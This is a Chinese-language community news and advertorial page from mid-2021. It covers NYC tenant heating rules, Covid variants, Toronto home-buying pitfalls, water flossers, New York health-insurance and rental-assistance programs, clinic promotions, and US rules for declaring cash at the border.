在温暖的天气中,切勿将动物留在停放的汽车中,即使是在车窗部分摇下的短时间内。被困在热车里的狗可能会在几分钟内死于中暑——即使汽车没有停在直射阳光下。

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宠物 示意图。

20.宠物食品

就像人类的食物一样,宠物食品如果太热就会变质,所以当你为旅行打包宠物食品时要记住这一点!

 

 

2021-06-06 / by / in , ,
纽约租房使用暖气和热水的需知

文|雨荷

在纽约租房,所有租户都有权在天气寒冷时拥有暖气和全年热水的公寓。作为承租人,

重要的是要了解房东在提供暖气和热水方面的责任、您作为房客的权利以及如果您的房

东不履行这些责任您可以做什么。签署租约时需要支付的费用详解。

何时房东必须提供热水

不管是什么时候,如果你住在纽约,你也可以洗个热水澡。即使在夏季最热的日子

里,水也必须达到至少 120 华氏度的恒温。纽约市住房维护法和纽约州多户住宅法概

述了房东对热水的要求。

即使您的淋浴或浴缸水龙头包含将最热温度限制在 120 华氏度以下的防烫阀(为了安

全),水仍必须达到至少 110 华氏度的恒定温度。

恒定温度 示意图。

房东何时必须供暖

纽约市有一个“热季”,在此期间房东必须为租户提供暖气。根据纽约市住房法,房东需

要在 10 月 1 日至 5 月 31 日期间的特定时间以及当室外温度下降到某个点时供暖:

A.白天,如果室外温度低于 55 F,则从早上 6 点到晚上 10 点,您公寓内各处的室内温度

必须至少为 68 F。

供暖法和热水法 示意图。

B.在晚上,从晚上 10 点到早上 6 点,您公寓内各处的温度必须至少为 62 F

除了规定房东何时必须提供暖气外,该市还规定何时不应开暖气。正如您希望在冬天保

持温暖一样,您可能不希望在已经炎热的夏季在您的公寓里闷热。因此,在 6 月 1 日至

9 月 30 日之间,您可以对开着暖气的住宅楼提出投诉。

供暖法和热水法 示意图。

供暖法和热水法适用于哪些地方?

上述规定适用于在纽约市所有五个行政区出租公寓的租户:曼哈顿、布鲁克林、皇后

区、布朗克斯和史坦顿岛。它们还扩展到商业建筑和非住宅建筑,包括:

1.政府大楼

2.老年中心

老年中心 示意图。

3.私立学校

4.日托中心

5.戒毒治疗设施

如果您的房东没有提供足够的暖气或热水,您可以采取一些措施。首先,您应该联系您

的房东、物业管理公司或建筑主管报告问题。如果他们无法解决问题或拒绝尝试,下一

步是拨打 3-1-1 向纽约市民服务中心投诉。该中心将首先代表您尝试联系您的房东,如

果不成功,将派遣一名房屋检查员到您的公寓。如果检查员发现您的公寓没有足够的暖

气或热水,他们可以选择发布整栋建筑的违规行为。

 

2021-06-04 / by / in , , , ,
Covid病毒越南混合变种 印度变种 英国变种……变种病毒有多少 | 美国境内最多的变种病毒有哪几种

自从2019  年底Covid-19病毒从武汉爆发后,疫情一波一波席卷全球。更让人忧心的是,病毒在传播过程中一直在变异。自2021年4月份起,第三波疫情在亚洲爆发,并且不断检测出传播力更强的新变种病毒。

各类变种病毒

越南混合变种病毒

《路透社》报道,5月29日越南卫生部长阮清龙(Nguyen Thanh Long)称,越南检测到一种新冠病毒变种,似乎是印度和英国变种的混合,可以通过空气迅速传播,最新的突变“非常危险”。

自从检测到COVID-19病毒以来,至今检测到的病毒突变已有数千个。但是,这种新型混合变种比早前已知变种更具传染性,尤其是在空中。阮清龙说,这是在对患者新检测出的病毒进行测试后发现的。

印度变种病毒

《法广》3月25日报道,首先在印度发现的印度冠状病毒变体B.1.617呈现出两种基因突变:E484Q和L452R。E484Q与E484K相似,后者此前已在英国、南非和巴西的变异病毒中出现;L452R则在加利福尼亚变体CAL.20C中出现。然而,在印度这两种突变首次同时出现,也因此常被称为印度 “双重变异”。

这种病毒变异毒株具有更强的免疫逃逸能力。即使是接种过疫苗者,或已康复的染疫者,也可能再度快速感染。

5月10日,世界卫生组织将印度变种病毒B.1.617 升级为“令人担忧的变异株”,被视为高度警戒。印度在这一轮疫情中如同经历一场大灾难。如今,这种病毒已传播到50多个国家,

英国、南非和巴西变种病毒

同样的,英国变种B.1.1.7、南非变种B.1.351和巴西变种P.1 都被世界卫生组织定义为”令人担忧”,属于 “值得关注变种”。

世卫组织把这些变种定义为” 值得关注 “,是因为它们更易传播、患者病况更严重、患病时间更长;并且可以躲避免疫系统,使现有疫苗效力降低。

美国CDC关注的变种病毒

根据美国CDC网站公布的信息,目前CDC关注的众多变种病毒中,有5个值得关注的变种病毒,分别是:

B.1.1.7: 这种变种病毒株最初在英国检测到,2020年12月首次在美国发现。

B.1.351: 此变种病毒最初于2020年12月在南非检测到,于2021年1月在美国被首次发现。

P.1: 最初在1月初,在日本机场常规检查时,从一名巴西旅行者身上被发现。2021年1月在美国检测到。

B.1.427 和 B.1.429: 这两种变种病毒于2021年2月,最初在加利福尼亚被发现。

CDC表示这些变种病毒更易传播,并且传播速度更快。目前为止,英国变种病毒占所有病例的主要部分。CDC将随时跟踪并视情况更新数据。

6月2日,根据 “疫情全球反应和监测系统”(Global Influenza Response and Surveillance System,简称GISAID)的最新数据显示,印度变种病毒正在美国迅速传播,现在占新出现病例的7%。

印度变种病毒病例在美国迅速增加(图片:outbreak.info)

 

而在5月初的时候,仅占美国新病例的1%,之后急剧上升。科学家们担心,它的传染性可能比英国变种病毒(B.1.1.7)高60%。目前,印度变种病毒已经在美国46个州被检测到。

实验室试验表明,目前的疫苗仍然可以预防印度变种病毒,但有人担心,实验室里的数据也无法概括所有会在现实中发生的状况。微生物学家Anirban Mahapatra则指出:免疫系统是一个有着许多零件和装置的复杂机器,没有一个“打开”和“关闭”的开关。也就是说,可能发生的变化太多、太复杂,谁都无法预知将会发生什么。

2021-06-03 / by / in ,
多伦多房市火热 多伦多买房不能忽视的陷阱|最新大多房市|资深多伦多房地产经纪

现在是加拿大大多地区房地产市场上升阶段,想在多伦多地区买房,就要熟悉门道的房地产经纪人带您入市,否则房价走势多变,大多地区每个区域房市也不同,

多伦多房地产委员会(Toronto Regional Real Estate Board)近日表示,大多伦多地区(GTA)的房屋销售在 4 月份仍然强劲,但市场从今年早些时候的强劲步伐开始有放缓的迹象。

该委员会透露,上个月(四月)该地区售出了 13,663 套房屋,比 2020 年 4 月(即 COVID-19 大流行的第一个完整月)售出的 2,957 套房产增加了 362%。

然而,今年 4 月的房屋销售从一个月前(三月)的 15,652 套,下降了 12.7%。

今年前三个月充满了竞购战、价格飙升和疯狂抢购市场上房源,让人难以置信这是大疫情下的房市。
上市房也在下降,4 月份的新房上市量与一年前相比飙升了 237%,但与 2021 年 3 月相比下降了 8.4%。

平均售价为 1,090,992 加币,比去年 4 月的 820,226 加币上涨 33%,但略低于 2021 年 3 月的 1,097,565 加币。

3 月和 4 月之间的下降与往年形成鲜明对比,平均价格通常在两个月之间上涨,标志着春季销售的开始。然而,TRREB 的首席市场分析师 Jason Mercer 将今年的下降描述为“适度放缓”,并指出所有主要房屋类型的价格仍然很高。

Mercer说,近几个月来,由于 COVID-19 期间的低借贷成本刺激了住房需求,令大多房市得到了提振。 Mercer还表示:“虽然未来几个月价格增长速度可能会放缓,但房价可能会继续保持上涨趋势。”

以下是多伦多都会区的房地产数据:

年度购房数量:

多伦多都会区房价:

多伦多都会区房屋购买与上市房数量:

多伦多都会区新房价格:

多伦多都会区公寓房价:

多伦多都会区公寓销售与上市数量:

大致上了解多伦多房市的火热情况,买家该如何买房呢?专营多伦多房地产市场的于文博表示,在正常情况下,买家下买房offer的时候,一般会附带两个条件,一个是验房条件,如果验房情况一切OK,买卖合同才会继续进行;另一个是融资条件,也就是通常我们说的房屋贷款,如果买方在房贷没有批下来的前提下,他仍然有全身而退的机会。

多伦多买房 无验房附加条件如何买房

但于文博也说,在抢offer的情况下,卖家就有了更多的选择权,这个卖家有时候会倾向于选择不带任何附加条件的offer。而在这个时候为了提高自己的胜算,买方也会在情急之下,出一些不带任何条件的offer,在这里他提醒买家,「你可以下一个不带验房条件的offer,但如果是在这样的情况下,请你一定在下offer之前先验房。根据所购买房屋的大小,现在多伦多市场上验房的公价一般在350-550加币左右。这样,你花三、五百块钱提前验房,可能你下的无条件offer就会有更好的把握。」

「一般来说,在验房过程中,比较重要的问题,包括几个方面:屋顶、壁炉的使用年限;目前的状况如何;管道和电线的布局是否合理;是否存在渗漏的问题;同时,验房师还会重点检查地板是否存在开裂、倾斜的问题;门、窗是否能够关牢等等。另外,地基也是验房师在验房过程中非常注意的一个问题。」

多伦多买房 无贷款附加条件千万注意

无贷款条件的offer也要小心,多伦多房地产经纪于文博也说:“银行是否会按照你要求的、或者你评估的、或者你们成交的金额,按照预定的方式给你贷款?因为可能银行给你最后评估的价格是不一样的。”

买多伦多公寓楼 留意大楼规章与会议纪录

多伦多房地产经纪于文博提醒:“下无条件offer购买的另一种房屋类型是公寓楼。如果你买的是公寓楼,就是我们说的condo,通常也会面临着很多文件,比如说大楼委员会、业主委员会通常会制定很多规章制度,这些历史上的业主开会记录等的细节文件,买方也不可完全忽略。”

为何以前的大楼规章制度、开会纪录都要注意呢?于文博说:“因为历史记录上可以会涉及房屋的一些关键问题。比如说开发商和业主有关房屋问题无法赔付的备忘,或者该房屋的法律纠纷等等,买方不能完全忽视这些文件,需要防患于未然。”因此,找一位用心、了解门道的多伦多房地产经纪绝对是进入多伦多地区房市的钥匙。

通过上面于文博给大家的介绍,大家就应该知道,一旦下了无条件offer,并且付了定金,买方在法律上其实就不存在任何保护了,所以无条件offer风险事实上是比较大的,需要根据买方在实际过程中酌情斟酌处理。那么,如果无条件offer事后出现法律纠纷,通常法律问题的解决也会旷日持久、劳民伤财。所以在购房过程中,不管抢offer或者竞争有多激烈,或者你对该房屋有多么满意和钟爱,仍然要对签订无条件offer的后果进行充分的考量,三思而后行。

大多地区房地产场:新移民留意法律基本常识

接下来,于文博介绍一些我们可能遇到的法律问题。通常由于东西方的文化差异,会导致购房过程中各种各样的冲突。因为不理解或者对英文的意思不明白,从而导致很多问题的发生。

比较常见的问题有,有的朋友在购房过程中不是很严肃。很多客人跟我讲,我们就随便下个offer,谈谈价钱,试试看,这种不是很严肃的态度,实际为他以后找上麻烦带来法律隐患。我们把他叫法律隐患,是因为他自以为即使将来对方接受了这个offer,我也可以随便找个理由撤出来。

比如说银行贷款这些条件,有的人说最后我拿这个当借口,说我没办下来银行贷款。但是有的时候,如果卖家要严肃认真起来,他会问你你去哪个银行贷款,然后他就去那个银行去查,那最后发现你没有在那个银行做过贷款,那可能最后就可能导致你摊上法律问题,也可能卖家会到法院去告你。这是一个非常严肃的问题,希望大家引起注意。

第二个就是在下了定金之后,很多人也问过我,说如果下了定金我不想要了,我的定金怎么处理?如果你不想要了,首先这个定金你是非常难拿回来的,因为在正常情况下,定金一旦进了信托账户(Escrow),要拿出来就需要双方签字同意,这个钱才可以拿的出来。

但是你下了定金你又不要了,你说哪个卖方通常会情愿地把定金退给你,所以那个时候就可能会产生官司,所以说这不是儿戏,希望买方交付定金的时候,也三思而行。有的人会是这样,比如说在房价跌了的情况下,你认为合同上的房屋价格与市场价格之间的差价,已经大于你付的定金了,就会改变主意,反正房价已经跌了,大不了就不要定金了呗。

事实上完全不是那么回事,卖家是完全有理由告你,并且可以在你身上拿回你相应造成的损失。他的理由很充分,因为是由于你的原因给他造成了经济损失,并且影响了他的生活安排和他的生活计划。所以,这可能会引起非常麻烦的法律纠纷。

大多地区房地产:卖家可能隐藏某些房产信息

另外,当你付了定金之后,你发现一些令你不满意的地方,或者说前任屋主在卖房的时候有一些隐瞒条件、或隐瞒状况没有跟你说明,比如说明明知道这个房子种过大麻,或还有些其他不好的事情但向你隐瞒了,那么这个事情在成交之后,我们就可以通过相应的法律手段来维护自己的正当的权益。

所以我在这里提醒买家,最好在成交之前,能尽到责任就尽量尽到责任,最好去市政府查一下,这个房子有没有大麻的记录、有没有什么不好的行为、有没有什么其他违法的事情,或者任何法律产权方面的文件,这些都要看仔细了。

比如说合同上面写的房屋产权面积是八千尺,那么是不是有跟邻居共享的、是不是有公用设施所拥有的、是不是别人有路上通过权、或者是一部分不能造房子的,这些地是要排除在外的,这都需要你看仔细,以免当你成交之后,需要通过其他的一些法律手段来保护你的个人权益。

所以新移民买家在购买房子的时候,还是希望大家仔细看一下这些法律文件,最好是找相关的律师帮您看看,或者找比较有经验的经纪。

多伦多房地产经纪于文博、于军:

于文博、于军是加拿大注册房地产经纪人,大多地区资深投资经纪。有着丰富的买房卖房,租赁和投资地产经验,于文博团队多年来秉承一旦受托,终身口碑的服务宗旨,诚信不欺、实心从客户角度考虑、让客户在房产买卖过程中舒心满意,有安全感。

于文博自幼从中国来到加拿大,有中西文化双重背景,游刃于中西思维文化差异之中,精通中文、英文、法文和计算机,是大多伦多地区优秀地产经纪、地产投资专家。始终奉守“诚信专业, 实干吃苦”的从业原则,听取不同客户需求,用娴熟的专业谈判技巧和经验为新老客户获取最大利益,帮助客户做出最适合自己的选择。我们团队一直秉承,做生意不止是赚取利益,而是赚取人心的这一理念!为你的投资保驾护航!于军曾是国内资深律师,有着丰富的大型商业谈判经验,为人勤奋努力、性格真诚豁达,长久以来一直为无合约的卖家朋友免费进行房产评估,并长期做报刊地产专栏主笔。

欢迎联系加拿大多伦多地产专家:于文博地产团队
电邮:bobyuwenbo1995@gmail.com
电话:437-881-8888
网址:https://torontobobyu.com/

2021-06-03 / by / in ,
冲牙器比牙刷更有好处吗?|冲牙器能取代牙线吗?|哪些人需要用冲牙器|纽约牙科医生

世界上首台冲牙器是在1962年,由美国杰出的牙科医生杰拉德•莫耶和工程师约翰•马丁利发明的,是一种非常好的清洁牙齿的工具,已经快有60年的历史了。近年来被越来越多的人接受和喜欢,近期甚至成为很多电商平台的销售黑马。美国牙医协会(ADA)还有很多纽约的牙科医生,也都在向有牙患的朋友推荐使用冲牙器。

冲牙器的功能到底是什么?

冲牙器(Water Flosser)是一种家用的针对口腔清洁的小机器,冲牙器的工作原理,是通过高压的脉冲水柱,靠水流冲击力来清洁牙齿侧面缝隙、牙龈与牙齿交接处的缝隙等隐蔽位置,清除牙缝间食物残渣、去除牙菌斑和牙垢,对于配戴矫正器容易卡住食物的人特别有效。

冲牙器还具有按摩牙龈、消除口腔异味、缓解牙痛和预防蛀牙的作用。

一些研究数据表明,每天使用一次冲牙器产生牙结石和牙龈炎的概率可以减少 50%。东京齿科大学的一项临床试验表明,比起用牙刷洁牙,使用冲牙器可以更好的抑制牙菌斑。

哪些人需要使用冲牙器?

其实所有人都可以使用冲牙机。使用方法简单,对于牙齿的伤害也很低。但是牙科医生特别推荐以下人群使用冲牙器:

  • 有一些人会感觉到后面的牙齿,怎么样都清不干净,用牙刷也没有办法刷到最后一颗牙齿。也有人他的智齿没有完全长出来,那个地方就非常容易累积食物残渣刺激周围组织,继而引发炎症。这就要靠冲牙器来清干净那里。
  • 带牙套的人和牙齿矫正者,冲牙机产生的水柱可以达到很好的清洁效果,能够彻底清除卡在矫正器上的食物残渣,还可以进行牙龈按摩。
  • 第三种就是植牙或是有牙桥的这些人。牙桥(固定假牙)通过邻牙来固定,所以下会有潜在的间隙,冲牙器能够把这些间隙里的东西冲干净。如果用牙线,是非常难清干净植牙和牙桥的,因为牙线是没有办法进去的。有植牙的人,平常用牙线的方式,有可能会造成植牙旁边的牙龈受到创伤。
  • 第四种就是有牙周病的人,他们除了牙线和牙刷,需要更多辅助的清洁方式。冲牙器能有效纾缓症状。
  • 儿童和老人,纽约牙科医生也很推荐使用冲牙器, 小朋友的牙缝通常很密,要用牙线来做清洁往往十分困难,老人常常手没力或是不灵活,也无法藉由牙线清洁牙缝,利用冲牙机简单方便又有效率。

冲牙器能不能完全代替牙线?

 

答案是否定的。冲牙器的功能非常非常的好,可以很干净的清洗牙齿,但是它还是不能完全代替牙线的功能。 因为冲牙器它再厉害,它还是没有办法真正清除牙缝中间的那些牙菌斑和在牙龈下面的那些牙菌斑。仅靠水流冲击力也不能够清洗顽固的污渍,这些一定要用牙线才能够做得到。

美国牙医协会虽然非常推荐大家使用冲牙器,但是同样的还建议大家要用牙线。

纽约牙科医生建议,在刷牙前后,各使用一次冲牙器

纽约的牙科医生建议刷牙前后各使用一次冲牙器,效果最佳。刷牙前使用冲牙器,只要冲洗1~3分钟,就可以初步把牙缝里的食物残渣碎屑冲洗干净。接着刷牙、使用牙线或牙间刷,然后再使用冲牙机,藉冲牙器的高压脉冲水流彻底清洁牙缝与牙菌斑。

 

冲牙器都会有多种喷头可搭配使用。在种类的选择上,分为“家用”和“旅行随身携带”两种。家用机种通常可让全家人共同使用;而随身机种则适合经常出差,或习惯在外用餐后需要刷牙的使用者选用。

 

2021-06-02 / by / in , , ,
纽约保费税收减免 减少医疗保险费用 | 2021年高收入者也可税收减免

通过纽约州健保市场(NY State of Health)购买医疗保险的纽约人,今年可以获得更多税收减免(tax credit),减少支出健康保险费用了。

什么是保费税收减免:保费税收减免可降低健康保险费用,通过纽约州健康 (NY State of Health) 交易市场就可以申请保费税收减免。

“2021美国救助计划”(The American Rescue Plan 2021)于2021年3月11日签署后,该法案正式生效。之后,纽约州健保市场宣布,将为通过“纽约健保市场”投保的人,目前约150,000人提供更多的财政援助。纽约人可以获得更多的税收减免,减少医疗保险费用的支出。这项新的、力度更大的援助,适用于现有的投保者以及新投保者,还包括了符合条件投保的较高收入的个人。

从4月初开始,中等收入或低收入的纽约人(个人收入达最高 51,040 美元,四口之家的收入最高 104,800 美元),如果已通过NY State of Health投保, 会收到通知登录NY State of Health的网站、致电或联系经过认证的健保协助人员,更新自己的信息。在4月份完成更新登记的中等收入或低收入投保人,应该已经收到保费收据,上面显示从5月份开始降低的保险费金额。

税收减免

从6月份开始,系统则自动升级将力度更大的税收减免应用于投保人员,包括较高收入人员(个人收入超过 51,040 美元,四口之家收入超过 104,800 美元)也将可以获得联邦税收抵免。而较高收入者以前是没有税收抵免资格的。

对于2021年领取失业金的纽约人,“美国救助计划”将允许他们通过“纽约健保市场”(New York State of health)签署一份几乎免费的2021年医疗保险计划。不过参加该计划后,就不能参加其它健康保险了,比如医疗补助计划(Medicaid)、联邦医疗保险(Medicare)或雇主赞助的保险。

为了让尽可能多的民众获得这些税收抵免,纽约州卫生部将健保计划的开放注册期,延长至2021年12月31日。延长截止日期是方便投保人有更多的时间注册2021年的医疗保险。

根据2021美国救助计划,纽约居民在 2021 年将获得总额 7 亿美元的税收抵免。

另外医疗补助计划(Medicaid)、基本计划(Essential Plan)和儿童健康附加计划(Child Health Plus)也可以全年投保。

需要办理健保事项的可以致电(1-855-355-5777)或访问纽约州健保网站(www.nystateofhealth.ny.gov)。

2021-06-02 / by / in , , ,
房东最多可获补一年欠租 纽约“紧急租金援助”开放申请/纽约疫情期间房租未付/房租拖欠

房东最多可获补一年欠租 纽约“紧急租金援助”开放申请

纽约州“紧急租金援助计划”(ERAP)将于今天(6月1日)早上9点开放申请,“纽约法律援助组织”(NYLAG)提醒,申请者应提前做好准备,相信一旦申请途径开通,申请人将蜂拥而入,在开通首日,网站可能会大塞车甚至崩溃。

“紧急租金援助计划”为疫情期间遭受经济困难、无力支付租金、电费燃气费的中低收入家庭提供救济。援助项目包括提供住宅租金拖欠的援助、电费燃气费拖欠的援助,以及临时的租金援助。

房客的租金欠款,将直接支付给房东,最多可援助12个月的租金欠款。

第20选区市议员参选人黄敏仪在上周末,与“纽约法律援助组织”合作,在黄敏仪位于法拉盛40路的办公室开设咨询点,为房东提供咨询服务,回答了房东有关物业税、紧急租金援助等问题。

“紧急租金援助”的申请资格是:

•家庭收入在地区中位数收入(Area Median Income, AMI)的80%或以下(家庭人口1人不超过66,850美元;两人不超过76,400美元;三人不超过85,950美元;四人不超过95,450美元);

•在2020年3月13日当天或之后失业(或收入遭受重大损失);

•有义务支付租金;并有无家可归的危险。

符合条件的家庭可能会收到在2020年3月13日或之后的租金欠款(最多12个月),这些款项将直接支付给房东。

房客需要提供的文件有:

•个人身份证明

•社会安全号码

•租金金额证明

•居住证明

•收入证明

•煤气费、电费账单副本

援助计划也向房东和业主开放,申请时他们需要提供:

•完整的W-9表格;

•与租户申请人所签订的租约,如果没有书面租约,则应提供付租金的资金转账凭证或最近月租金的证明文件;

•承租人应付租金的文件;

•银行信息以直接接收援助款。

房东须同意以下条款,作为接受租金欠款补助的条件:

•ERAP援助款支付给房东后,视为承租人的全部租赁义务已履行;

•对于租金欠款,免除任何滞纳金;

•在收到租金援助的月份以及收到付款一年内,不得增加租金;

•在收到援助款之日起一年内,不得因租赁到期或租赁延长而驱逐住户;如果住宅是四个或四个以下的单元,而且财产所有者或财产所有者的直系亲属打算使用该单元作为主要住宅,则除外。

“紧急租金援助计划”申请网站及更多信息请查阅:https://otda.ny.gov/programs/Emergency-Rental-Assistance/

2021-06-01 / by / in
怎样治疗腰椎和颈椎病?治疗腰椎和颈椎病的好方法。

您對腰椎和頸椎病有常見的誤解嗎?神經肌肉專科幫助您治療和預防腰椎頸椎病

一位患者腰痛傳遞到左腿﹐左腿發麻刺痛無力﹐導致走路困難﹐左邊坐骨神經也疼痛。看骨科脊椎科醫生建議要開刀﹐看痛症科醫生建議不用開刀但要打類固醇﹐患者慕名找到伍安麗醫生希望找到他的診斷和治療的合理意見。經過伍醫生的檢查和神經肌電圖的測試分析,再參考病人的腰椎核磁共振(腰骶椎MRI),伍醫生提供了多種不同的治療方案,解釋了不同治療方案的效益和風險幫助病人根据他的病情選擇最佳治療方案。

神經肌肉的疾病是神經專科里的專科﹐是一個複雜的科系。 它包括頸椎腰椎神經根壓迫﹐神經﹐肌肉﹐運動神經元﹐神經肌肉交結處異常的疾病。神經肌肉疾病一些普通的症狀包括痲痺﹐刺痛﹐無力﹐酸軟﹐頸痛傳遞到手臂﹐腰痛傳遞到腿﹐走路不穩﹐腳底燒灼感等等。檢查神經的感知和肌肉的力量是非常有學問的。 神經的感知包括對觸摸﹐溫度﹐疼痛等的反應。 肌肉的力量分近端和遠端﹐身體里每一塊肌肉的力量測試都有不同的方式﹐才能分辨哪一塊或哪一組肌肉無力或受到損傷。 神經肌肉的檢查還包括檢查深度肌腱反射和步態。

腰椎病和頸椎病是非常常見的疾病﹐可以說我們每個人在生命里的一個時期都會經歷腰椎和頸椎的病症﹐只是成度的輕微嚴重不同。 特別是隨著年齡的增長﹐骨刺﹐老化﹐椎管狹窄﹐椎間盤突出﹐各種問題都會一一出來。 很多人對腰椎病和頸椎病的理解也有錯誤或很不全面。引起腰椎病和頸椎病的原因很多﹐從肌肉緊或僵硬﹐到神經根壓迫﹐從脊椎病變﹐到壓迫脊髓。 一定需要精確的診斷才能提供正確的治療方案。 多種不同的治療方案也要因人和病痛的情況而定。 有些人對一定的藥物有非常好的反應有些人卻對同樣的藥物產生副作用。 很多人以為做手術就一定能解決﹐但實際上只有百分之五十的人手術後非常成功﹐另外百分之五十的人卻沒有進步甚至更糟。 腰椎病和頸椎病是一種慢性病﹐對大多數人而言都時好時壞﹐沒有完全的根治﹐但這並不意味著不能治療和好轉﹐關鍵是精確的診斷和不能因為一種藥物或治療方式的不成功就放棄。 另外我們需要知道一些健康小常識﹐怎樣在日常生活中防止腰椎和頸椎的疼痛或增強腰椎和頸椎的健康。我希望今天讨论的常見的腰椎病和頸椎病讓大家有一個比較全面的新的認識和了解。

伍安麗醫生是華人社區里唯一的神經肌肉專科醫生﹐目前任紐約皇后醫院的神經內科主治醫生。 她於康奈爾大學醫學院博士畢業,曾任愛因斯坦醫學院神經內科总住院醫師,獲得哈佛醫學院 — 馬薩諸塞州總醫院(MGH)和布裡格姆與婦女醫院(BWH)神經肌肉和EMG神經肌電圖專科文憑,她同時擁有美國神經內科特考文憑,是美國神經肌肉及電測協會會員、美國神經醫學協會會員和美國醫學協會會員。求學期間的無數榮譽和獎項,多年醫學院各類疑難雜癥從醫經驗,加之極強的邏輯性思維,塑造了不可多得的資深神經肌肉專科醫生。 

伍安麗醫生診所擁有最先進和完整的神經肌電圖裝置和設備﹐為病患者提供最好的服務。伍安麗醫師親自執行完整的EMG神經肌電圖測試。 診所還使用電子病歷系統,可提高效率,增強醫生與醫生之間的溝通。網站還提供免費病人醫療詢。病人可以張貼他們對某些醫療症狀的問題,伍醫師將通過該網站給予詳細的解答。 

伍安麗醫師腦神經及神經肌肉專科診所: 

地址:法拉盛,富林大廈, 緬街36-40號203室(香港超市斜对面近北方大道), 36-40 Main Street, Suit 203, Flushing, NY11354;

網址:www.anniewumd.com

預約電 718-888-0980門診時間週三,10點至5),一 (11點至5), 所有看诊都需预约

2021-06-01 / by / in , ,
什么是继发性高血压?如何治疗继发性高血压?

不容忽视的继发性高血压

人们熟知的三高症的一高,高血压是最常见的心血管疾病。如果长期血压没有得到很好的控制,这很可能会成为急性心脑血管卒中的诱因。高血压病的90%为原发性高血压,多见于中老年人群,受遗传,饮食环境等多种因素影响。

然而还有10%左右的高血压是继发性高血压,又称之为症状性高血压.

此类高血压有明确的发病原因,通常发病年龄轻,起病急,对联合降压药效果不理想。但是如果我们能找准原因对症治疗,那么相当一部分继发性高血压是可以被治愈的。所以这类高血压又被称之为”可能治愈的高血压”。

常见的继发性高血压有肾病性高血压,肾动脉血管狭窄引起的高血压,还有内分泌疾病,以及药物和妊娠有关的高血压。下面简单介绍几例我在临床工作中成功治愈的病例。

第一个患者是一位中年女性,没有任何基础疾病,也没有心血管疾病家族史。在一次年检中突然发现高血压上压170多,而且在后续治疗中对多种降压药物都没有效果。值得注意的是,在她的一次血液生化检查中发现轻度的低钾高钠现象。当时的鉴别诊断是原发性醛固酮增多症也称 CONN’S SYNDROME. 多见于肾上腺皮质增生或皮质肿瘤. 我们及时指导病人做了多层肾上腺CT扫描,结果在左侧肾上腺发现一颗米粒大小的肿瘤。肿瘤在外科成功切除,高血压在术后第二天就恢复了正常.

还有一位20出头的青年女性,初次来就诊的时候是阵发性心动过速,伴有大汗淋漓症状。血压在一天内起伏很大,有症状时血压高达180/100。CT扫描发现腹部一个大于8CM的肿瘤。手术切除活检发现是嗜铬细胞瘤。此类肿瘤分泌过量儿茶酚胺,从而导致恶性高血压。肿瘤成功切除后,血压也逐渐恢复正常。

除了上述的内分泌疾病导致的高血压以外,那么如果是肾动脉狭窄导致的高血压,及时放置血管支架来扩张血管是第一治疗手段。如果是原发性肾病导致的高血压,那么改善肾功能可以达到控制血压的目的。另外,在孕期突然发现的继发性高血压(妊娠高血压)也是需要早期发现,严密监控的。如果没有及时控制而发展成先兆子痫和子痫,那会造成多个器官损伤,以及孕妇死亡。

在临床上继发性高血压和原发性高血压的界限模糊很容易混淆。所以尤其是青状年群体或者原来血压正常的老人,在没有基础疾病的情况下如果突发高血压或高血压危向,那一定要尽早向家庭医生咨询就诊。根据症状来鉴别诊断,及时做出相关检查,和对症下药。

(我在高血压血管病发病机理有多年的研究和临床诊治经验)

如果读者/患者对高血压病需要进一步咨询诊治及相关问题,请致电我们诊所718-290-5810 (41-60 MAIN STREET, STE 203, FLUSHING, NY, 11355)

2021-06-01 / by / in
携带现金出入美国 需要了解这些规定

文|雨荷

携带现金出入美国,一定要了解这些规定。很多国家都设有支票,以控制旅客可以带进和带出的现金量。美国也不例外,法律要求旅行者申报大量现金流动,以防止资金被用于非法或恐怖活动,并阻止洗钱。

如果您要携带大量现金进出美国,将要求解释其来历和去向,以便边境警察检查,如果您触犯法律,则将受到严厉的处罚。因此,如果您即将前往美国,最好了解对您可以进出多少现金的限制。

携带大量现金进出美国 示意图。

您可以带多少现金进入美国?有什么限制?

有关在美国境内进出货币的规定和限制的详细信息,可以在美国海关和边境保护局网站上在线找到。

您最多可以携带不超过 10,000 美元进入美国,但是携带超过此金额的物品,到达时您必须申报。

如果您携带太多现金到美国,会受到什么处罚?

如果您带来超过10,000美元(或等值的美元)到美国,并且没有正确申报,这笔钱就会被边境管制局扣押。如果警方认为钱来自某种形式的非法活动,也可能会受到刑事指控。罚款可高达 500,000 美元,刑期可长达 10 年。冒着犯错的风险绝对不值得。

银行电汇 示意图。

那么再有一个就是钱存在什么地方,到银行电汇这都很正常,可是有些客户很任性,他非要就自己带,有这个侥幸心理,特别是在赌场赢了钱之后。他就觉得卷着几万,带着包就想回去。

可是要注意,你若是无知者无畏,就会有风险。要知道,就会提心吊胆,为什么呢?因为你一旦进入机场的区域,就会有几个风险。

建议写个支票寄回去在国内的银行取,两三个月就可以兑现,或者是用西联汇款汇回去。

因为国际航班出境的时候,就会有警犬来回闻,警犬对现金有训练,能闻出来你带有现金。有一些缉毒署的人说过,美国的百元钞票通常是贩毒贩子,在贩运毒品时把毒品掺在一起,百元钞票的上面有毒品警犬很容易闻出来,只要警犬一叫,他们就查,现金就露出来了。最轻是民事罚款,罚款百分之二十。

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警犬对现金有训练 示意图。

再有一个就是进入机场区域后,你携带的包里的带现金要经过机场安检的,经过X光机的时候,X光机能看出来,但是机场安检他没有权利执行现金法律授权,他就会打电话给出入境管理,就是海关和移民边境保护局,他会说出这乘客什么特征,包里有很多钱。

客户遇到的情况,一般是乘客就要登机了。这时会把你叫住,两个持枪的警官过来,要求检查你行李,因为你没有申报,就要把钱全部收了,而且这班飞机你也坐不成了,会耽误很多事儿,钱也被收了,你得去把钱要回来,通常他要扣百分之二十。

那么最后还有就是有临检,尤其是像在拉斯维加斯这样的赌场,经常国际航班出发前就都有官员在机舱口随机检查行李,一旦查出来,只要申报就行。

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 机场 示意图。

怎么去申报呢?你要提前五个小时到机场,到机场你要是带五万、十万现金,你装着包没问题。你就到机场海关和边境保护局的办公室,你就说要带现金出去,那么要填FinCEN105表格,就是财政部的现金监管表,你就如实填。然后登记盖章。通常要问你钱从哪儿来的?你说我赌博赢的,或者是卖房子钱,整个程序给他大致看一下。他查不出来什么非法行为,他肯定让你带出去。那么带着出去你又得面临另外一个问题,就是到中国带美元,不能带五千美元以上,多了你也得申报。

总的来说,不建议带现金旅行在飞机上,还有国际上有专门坐着飞机,偷行李的物品的人,如果现金装在里面,他趁睡觉时偷走现金。

